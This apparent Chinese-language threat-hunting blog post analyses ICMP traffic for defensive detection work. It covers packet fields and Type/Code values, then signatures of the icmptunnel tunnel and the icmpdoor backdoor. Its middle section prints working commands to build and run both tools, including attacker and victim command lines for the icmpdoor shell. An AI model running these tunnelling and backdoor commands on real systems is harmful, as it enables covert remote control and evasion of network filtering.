huasec 04月03日
威胁狩猎-ICMP流量分析
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本文深入探讨了ICMP(Internet Control Message Protocol)协议,介绍了其在TCP/IP网络中的作用,包括控制消息的传递和网络问题的诊断。文章详细分析了ICMP报文的结构,以及不同Type和Code值所代表的含义。此外,文章还阐述了ICMP的应用场景,如ping命令和ICMP隧道技术,并重点介绍了利用ICMP进行攻击的手段,如ICMP隧道和ICMP后门,以及相应的检测思路和方法。

🧐ICMP协议是互联网中用于传递控制消息的关键协议,它在IP主机和路由器之间传递网络状态信息,如网络通断、主机可达性等,对用户数据的传递至关重要。

💡ICMP报文封装在IP数据包内,当IP协议字段为1时,即为ICMP报文。其包含Type、Code、Checksum等固定字段,Data字段可选,不同Type和Code值代表不同的ICMP报文类型,分为差错报文和查询报文。

💻ICMP协议的应用场景广泛,例如ping命令,通过发送Echo请求和接收Echo应答来判断网络连通性。此外,ICMP隧道技术允许通过ICMP消息传输数据,绕过防火墙等限制,而ICMP后门则利用ICMP协议隐藏恶意代码。

⚠️ICMP隧道工具如icmptunnel,将数据封装在ICMP Echo数据包的Data字段中传输。其特征包括Data字段包含“TUNL”字符串,以及非标准大小的数据包。ICMP后门则通过Echo请求消息传输payload,并可能拆分大数据包。

🛡️在分析ICMP流量时,应重点关注Type和Data字段的值,例如主机间大量的ICMP通信、异常数据包大小以及空的ICMP请求等。这些异常情况可能表明存在ICMP隧道或后门攻击。

原创 花十一一 2023-07-06 08:21 北京

ICMP( Internet Control Message Protocol)互联网控制消息协议

概述
ICMP( Internet Control Message Protocol)互联网控制消息协议,它用于TCP/IP 网络中发送控制消息,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。通过这些信息,网络管理者可以对所发生的问题作出诊断,然后采取适当的措施解决问题。攻击者也可以利用控制消息发送恶意数据包实现对主机的控制。

ICMP协议分析
ICMP报文信息被封装在IP数据包内部,作为IP数据包的数据部分通过互联网传递。当IP报头中的Protocol(协议)字段值为1时,说明是一个ICMP报文。
ICMP报文包含三个固定字段。Type字段表示ICMP消息的类型;Code字段表示ICMP消息类型细分的子类型;Checksum字段表示ICMP报文的校验值,检验报文传输过程中是否出现差错。Data字段是可选的,包含与ICMP消息相关的附加信息,明文传输。其内容取决于ICMP消息的类型和代码。长度可以为0,也可以是任意长度。
不同的Type和Code值表示不同的ICMP报文类型,对应了数据包处理过程中可能出现的不同错误情况,不同类型的ICMP报文又分为差错报文和查询报文两种,如下表所示。
Type
Code
描述
查询/差错
0-Echo响应
0
Echo响应报文
查询
3-目的不可达
0
目标网络不可达报文
差错
1
目标主机不可达报文
差错
2
目标协议不可达报文
差错
3
目标端口不可达报文
差错
4
要求分段并设置DF flag标志报文
差错
5
源路由失败报文
差错
6
未知的目标网络报文
差错
7
未知的目标主机报文
差错
8
源主机隔离报文
差错
9
禁止访问的网络报文
差错
10
禁止访问的主机报文
差错
11
对特定的TOS网络不可达报文
差错
12
对特定的TOS主机不可达报文
差错
13
由于过滤 网络流量被禁止报文
差错
14
主机越权报文
差错
15
优先权终止生效报文
差错
5-重定向
0
重定向网络报文
差错
1
重定向主机报文
差错
2
基于TOS的网络重定向报文
差错
3
基于TOS的主机重定向报文
差错
8-Echo请求
0
Echo请求报文
查询
9-路由器通告
0
路由通告报文
查询
10-路由器请求
0
路由器的发现/选择/请求报文
查询
11-ICMP超时
0
TTL超时报文
差错
1
分片重组超时报文
差错
12-参数问题
0
IP报首部参数错误报文
差错
1
丢失必要选项报文
差错
2
不支持的长度报文
差错
13-时间戳请求
0
时间戳请求报文
查询
14-时间戳应答
0
时间戳应答报文
查询
15-信息请求
0
信息请求报文
查询
16-信息应答
0
信息应答报文
查询
来源:https://info.support.huawei.com/info-finder/encyclopedia/zh/ICMP.html

ICMP的应用场景
ping命令
日常我们使用ping命令的Type为8。抓取下ping的流量包,可以看到Data段长度有两种分别是48和32。
且echo reply和echo request的内容一致。

ICMP隧道

ICMP隧道(ICMP Tunneling)是一种网络隧道技术,它利用Internet控制消息协议(ICMP)来在网络上传输数据。ICMP隧道通常用于绕过防火墙或者其他网络限制,将数据封装在ICMP消息的Data字段中,可以将数据包看作是ICMP消息,因此可以在允许ICMP协议通信的网络中传输信息。下面介绍下icmptunnel工具生成的流量。icmptunnel的原理是将内容封装在ICMP echo数据包中,在ICMP数据包的 "data "字段中发送至代理服务器。代理服务器解压缩数据包并转发到目标服务器。

工具地址:https://github.com/jamesbarlow/icmptunnel

使用方法:

    git clone https://github.com/jamesbarlow/icmptunnelcd icmptunnel/make

    首先需要在两台机器上禁止ICMP响应。如下命令会阻止内核响应ping数据包:

      echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

      随后,在服务端(172.17.10.43)启动 icmptunnel,并给隧道接口分配一个 IP 地址。

        ./icmptunnel -s /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

        在客户端(172.17.10.52),使用 icmptunnel 连接上服务器,并给隧道接口分配一个 IP 地址。

          ./icmptunnel 172.17.10.43 /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

          隧道建立完成后,可以看到主机间存在icmp通信流量。其中Type的值为8,说明该隧道工具用的是ICMP Echo Request消息。发送ICMP Echo Request消息的主机期望接收到一个相应的ICMP Echo Reply消息,以确认目标主机的存在和可达性。

          每个数据包的Data字段都存在默认值"TUNL",十六进制为54554e4c04。

          连接服务端的ssh服务

            ssh kali@10.0.0.1

            流量侧存在特征"TUNL" 和 "SSH-2.0-OpenSSH_7.6p1"

            连接服务端的web服务

              curl 10.0.0.1:5003

              流量侧存在特征有"TUNL" 和完整的HTTP请求/响应内容。

              另外发现流量中存在Echo Reply。这可能是由于网络中的问题导致Echo Reply在传输过程中重复发送或复制。这种情况可能是网络故障或异常的结果,应该被视为异常情况。

              通过上述分析,icmptunnel的特征如下:

              (1)Data字段包含字符"TUNL"

              (2)Data字段长度非48和32的数据包需要注意

              (3)传输字节比较大的数据,流量中会存在多个echo reply。


              ICMP后门

              ICMP后门通常是一种隐蔽的攻击技术,因为ICMP流量通常被认为是合法的网络流量,很少受到严格的防火墙或入侵检测系统的监视和过滤。攻击者可以利用ICMP协议的一些字段或选项来隐藏恶意代码或数据,然后在目标系统上的后门程序中解析这些隐藏的信息。

              项目地址:https://github.com/krabelize/icmpdoor

              使用方法:

              attacker(172.17.10.43): python icmp-cnc.py -i eth0 -d 172.17.10.52

              victim(172.17.19.52): python icmpdoor.py -i ens32 -d 172.17.10.43

              建立shell连接后,可以看到Type的值为8,说明该工具也是通过Echo request消息传输payload。

              如果受害端返回的消息体比较大,则会拆分多个Echo reply传输。

              另外当在命令行执行curl命令的时候,受害机器可能会hang住。

              ICMP检测思路

              通过对上述攻击手法的分析,日常我们在分析ICMP流量的时候可以着重关注Type、Data字段的值。可通过各个以下思路发现异常ICMP流量。
              1、主机间大量的icmp协议通信。当主机建立icmp隧道会实时发送探活的icmp包,因此流量侧可以看到大量的ICMP流量进出网络。
              2、异常数据包大小。攻击者通过向每个request和reply注入更大的数据包来减少总数据数量。通常,合法的Echo请求和应答具有固定的标准大小,因此不同的数据报大小可能表明该连接用于隧道传输。
              3、空的icmp请求。有些黑客工具通过发送空的Data值来探活。

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